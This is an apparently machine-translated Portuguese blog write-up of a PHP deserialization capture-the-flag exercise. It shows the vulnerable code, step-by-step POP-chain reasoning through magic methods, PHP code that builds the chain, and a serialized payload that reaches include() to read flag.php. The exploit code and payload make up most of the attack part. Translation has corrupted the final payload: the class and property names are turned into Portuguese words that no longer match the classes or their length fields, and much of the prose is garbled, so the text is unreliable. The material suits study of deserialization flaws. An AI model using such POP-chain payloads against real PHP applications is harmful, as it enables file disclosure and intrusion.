Uma estrutura de cadeia pop para uma questão de desserialização de php

O endereço do tópico é: GitHub - mcc0624/php_ser_Class: campo de tiro de desserialização de php

Clique para inserir as seguintes perguntas

O código do tópico é o seguinte, que muitas vezes chama o método mágico de uma boneca aninhada, o que queima bastante o cérebro. De acordo com o tópico, obviamente o alvo é echo $flag

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

Perguntas como esta precisam ser analisadas usando o método de inversão de alvos:

  1. O alvo aciona o eco para gerar o sinalizador, você precisa fazer $value=flag.php e, em seguida, chamar anexar (flag.php), invocar chamadas anexar
  2. Acione a invocação e chame o anexo(). E faça $var=flag.php. Condição de invocação do gatilho: trate o objeto como uma função. _get retorna uma função
  3. Se o atributo p em Test = new Modifier, __invoke será acionado. Então, como acionar __get? Disparado quando o atributo do membro chamado não existe.
  4. Deixe $str=New Test() em Show, se a fonte não existir em Test, __get será acionado. Então, como acionar __toString? Disparado quando o objeto é chamado como uma string
  5. Deixe source=new Show() em __wakeup e acione __toString. Como acionar __wakeup? Gatilhos de desserialização

Depois de analisar para trás, empurre para frente:

  1. A desserialização aciona wakeup() para objetos Show
  2. E deixe o atributo source no show object = new show(), produza o objeto como uma string e acione tostring
  3. Então deixe o atributo str do objeto Show = New Test(), a fonte do atributo não existe em Test, e acione __get().
  4. Deixe o atributo $p no objeto Test = new Modifier(), retorne o objeto como uma função e acione __invoke
  5. Deixe o atributo var privado do objeto Modificador ser =flag.php, chame a função de acréscimo e o sinalizador de saída

Finalmente, usamos código para realizar a construção da cadeia pop

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

Em seguida, acesse e produza a string desserializada

Precisa mudar var para propriedade privada

O:4:"Mostrar":2:{s:6:"fonte";r:1;s:3:"str";O:4:"Teste":1:{s:1:"p"; O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

Por fim, envie a string desserializada e obtenha o sinalizador

Acho que você gosta

Origin blog.csdn.net/qq_44159028/article/details/130770713
Recomendado
Clasificación